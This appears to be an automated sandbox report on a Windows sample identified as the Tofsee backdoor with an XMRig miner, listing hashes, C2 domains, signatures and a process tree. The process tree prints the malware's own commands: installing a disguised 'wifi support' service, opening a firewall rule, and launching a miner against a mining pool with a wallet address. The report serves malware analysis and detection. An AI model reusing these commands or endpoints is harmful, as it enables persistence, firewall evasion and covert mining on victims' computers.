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Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2023, 23:33

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General

  • Target

    file.exe

  • Size

    300KB

  • MD5

    82435e30b2928e8a32c2f20330bee382

  • SHA1

    b4ca528936fa1e9fda728bfc9533d9ffc3db7206

  • SHA256

    cd903b1243722f8e4ebfddbcb37e34449d678831ee454254cefe41bd41e742cc

  • SHA512

    2a451d70a8bf7666d29e4efb24ec34b09a854fbcba491dffc32bbcde51cf91ce098d060cfd4ec3259f8659a574b281db2d8cbf03028d8698645ba8ea5128ec92

  • SSDEEP

    3072:C5Mb6bGoL9DRGhqShWy4uVfto16XVk1D04h5Tk3Qh6CYuQjiMTE5Yrea6Zi:COFoL9gccWlmtbmLt6duQj9nreaE

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4728
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lsgngdwy\
      2⤵
        PID:4960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tjlyphs.exe" C:\Windows\SysWOW64\lsgngdwy\
        2⤵
          PID:4832
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lsgngdwy binPath= "C:\Windows\SysWOW64\lsgngdwy\tjlyphs.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lsgngdwy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4392
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lsgngdwy
          2⤵
          • Launches sc.exe
          PID:440
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2108
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 1084
          2⤵
          • Program crash
          PID:4512
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4728 -ip 4728
        1⤵
          PID:3792
        • C:\Windows\SysWOW64\lsgngdwy\tjlyphs.exe
          C:\Windows\SysWOW64\lsgngdwy\tjlyphs.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3108
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2540
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3176 -s 548
            2⤵
            • Program crash
            PID:3628
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3176 -ip 3176
          1⤵
            PID:3852

          Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\tjlyphs.exe
            Filesize

            13.3MB

            MD5

            34b5fc49155fc1fd48f335bd935f88a0

            SHA1

            1f5428a9b16198d7be0d6ff576d41ad91d0297c7

            SHA256

            18b065aab7994f7bb2989142d055bc00edf5c6ae0c81ef620f255e0e4b4c3948

            SHA512

            a3b0c3899b0948256a587b251ade88665f14e0a6fd799edc1734c59170d4c1c54a9ac01819c3c576f42dc697b0dd6bda73a9952d321b9b5db5e3e77b8cc9b9dc

            Download Submit

          • C:\Windows\SysWOW64\lsgngdwy\tjlyphs.exe
            Filesize

            13.3MB

            MD5

            34b5fc49155fc1fd48f335bd935f88a0

            SHA1

            1f5428a9b16198d7be0d6ff576d41ad91d0297c7

            SHA256

            18b065aab7994f7bb2989142d055bc00edf5c6ae0c81ef620f255e0e4b4c3948

            SHA512

            a3b0c3899b0948256a587b251ade88665f14e0a6fd799edc1734c59170d4c1c54a9ac01819c3c576f42dc697b0dd6bda73a9952d321b9b5db5e3e77b8cc9b9dc

            Download Submit

          • memory/2540-176-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/2540-171-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

            Download

          • memory/3108-152-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

            Download

          • memory/3108-150-0x0000000000900000-0x0000000000915000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3108-167-0x0000000002BE0000-0x0000000002BE7000-memory.dmp

            Filesize

            28KB

            Download

          • memory/3108-164-0x0000000007600000-0x0000000007A0B000-memory.dmp

            Filesize

            4.0MB

            Download

          • memory/3108-161-0x0000000002BD0000-0x0000000002BD5000-memory.dmp

            Filesize

            20KB

            Download

          • memory/3108-145-0x0000000000900000-0x0000000000915000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3108-158-0x0000000000BF0000-0x0000000000C00000-memory.dmp

            Filesize

            64KB

            Download

          • memory/3108-155-0x0000000000BE0000-0x0000000000BE6000-memory.dmp

            Filesize

            24KB

            Download

          • memory/3108-151-0x0000000000900000-0x0000000000915000-memory.dmp

            Filesize

            84KB

            Download

          • memory/3176-149-0x0000000000400000-0x00000000004C8000-memory.dmp

            Filesize

            800KB

            Download

          • memory/3176-148-0x0000000000679000-0x000000000068E000-memory.dmp

            Filesize

            84KB

            Download

          • memory/4728-143-0x0000000000400000-0x00000000004C8000-memory.dmp

            Filesize

            800KB

            Download

          • memory/4728-135-0x0000000000400000-0x00000000004C8000-memory.dmp

            Filesize

            800KB

            Download

          • memory/4728-134-0x0000000000660000-0x0000000000673000-memory.dmp

            Filesize

            76KB

            Download

          • memory/4728-133-0x000000000074E000-0x0000000000764000-memory.dmp

            Filesize

            88KB

            Download